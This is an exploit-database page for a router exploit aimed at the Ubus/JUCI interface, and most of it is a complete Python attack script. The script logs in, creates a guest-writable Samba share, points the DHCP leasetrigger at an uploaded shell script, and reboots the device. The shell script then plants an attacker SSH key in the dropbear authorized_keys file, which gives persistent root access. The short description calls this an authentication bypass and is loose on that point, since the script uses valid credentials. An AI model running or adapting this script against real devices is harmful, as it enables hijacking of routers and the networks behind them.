header-logo
Suggest Exploit
vendor:
Ubus Authentication Protocol
by:
Anonymous

Ubus Authentication Bypass Vulnerability

This exploit is related to a vulnerability in the Ubus authentication protocol, which allows an attacker to bypass authentication and gain access to the system. The exploit involves sending a malicious payload to the system, which is then executed by the system. This payload contains a command to add a Samba share and an SSH key to the system, which allows the attacker to gain access to the system.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the system is running the latest version of the Ubus authentication protocol, and that all users have strong passwords.
Source

Exploit-DB raw data:

#!/usr/bin/python

import json
import sys
import subprocess
import socket
import os
from time import sleep
from websocket import create_connection

def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc":"2.0","method":"call",
        "params":["00000000000000000000000000000000","session","login",
        {"username": username,"password":password}],
        "id":666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        key = response.get('result')[1].get('ubus_rpc_session')
    except IndexError:
        return(None)
    return(key)

def ubusCall(host, key, namespace, argument, params={}):
    ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc":"2.0","method":"call",
        "params":[key,namespace,argument,params],
        "id":666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        result = response.get('result')[1]
    except IndexError:
        if response.get('result')[0] == 0:
            return(True)
        return(None)
    return(result)

if __name__ == "__main__":
    host = "192.168.1.1"
    payload = """
#!/bin/sh
/bin/echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427" > /etc/dropbear/authorized_keys
/usr/sbin/odhcpd-update
exit 0
    """

    print("Authenticating...")
    key = ubusAuth(host, "user", "password")
    if (not key):
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Adding Samba share...")
    smbcheck = json.dumps(ubusCall(host, key, "uci", "get",
        {"config":"samba"}))
    if ("pwned" in smbcheck):
        print("Samba share seems to already exist, skipping")
    else:
        smba = ubusCall(host, key, "uci", "add",
            {"config":"samba", "type":"sambashare", "values":
            {"name":"pwned", "read_only":"no", "create_mask":"0775", "dir_mask":"0775",
            "path":"/mnt/", "guest_ok":"yes"}})
        if (not smba):
            print("Adding Samba share failed!")
            sys.exit(1)

    print("Enabling Samba...")
    smbe = ubusCall(host, key, "uci", "set",
        {"config":"samba", "type":"samba", "values":
        {"interface":"lan"}})
    if (not smbe):
        print("Enabling Samba failed!")
        sys.exit(1)

    print("Committing changes...")
    smbc = ubusCall(host, key, "uci", "commit",
        {"config":"samba"})
    if (not smbc):
        print("Committing changes failed!")
        sys.exit(1)

    print("Setting malicious leasetrigger...")
    lts = ubusCall(host, key, "uci", "set",
        {"config":"dhcp", "type":"odhcpd", "values":
        {"leasetrigger":"/mnt/pwn.sh"}})
    if (not lts):
        print("Setting leasetrigger failed!")
        sys.exit(1)

    print("Committing changes...")
    ltc = ubusCall(host, key, "uci", "commit",
        {"config":"dhcp"})
    if (not ltc):
        print("Committing changes failed!")
        sys.exit(1)

    print("Rebooting system...")
    reb = ubusCall(host, key, "juci.system", "reboot")
    if (not reb):
        print("Rebooting failed, try rebooting manually!")
        sys.exit(1)

    print("Waiting on reboot...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    isUp = None
    while (not isUp):
        try:
            sleep(10)
            s.connect((host, 8080))
            isUp = True
            s.close()
        except:
            pass

    print("Creating temp file for payload...")
    with open(".payload.tmp","a+") as file:
        file.write(payload)
        path = os.path.realpath(file.name)

    print("Dropping payload...")
    subprocess.run(r"smbclient \\\\%s\\pwned p -c 'put %s pwn.sh'" % (host, path),
        shell=True, check=True)
    print("Payload dropped")

    print("Authenticating...")
    key = ubusAuth(host, "user", "password")
    if (not key):
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Executing payload")
    eec = ubusCall(host, key, "juci.service", "stop",
        {"name":"odhcpd"})
    if (not eec):
        print("Stopping odhcpd failed!")
        sys.exit(1)
    ees = ubusCall(host, key, "juci.service", "start",
        {"name":"odhcpd"})
    if (not ees):
        print("Starting odhcpd failed!")
        sys.exit(1)

    print("Cleaning up...")
    os.remove(path)

    print("Exploitation complete")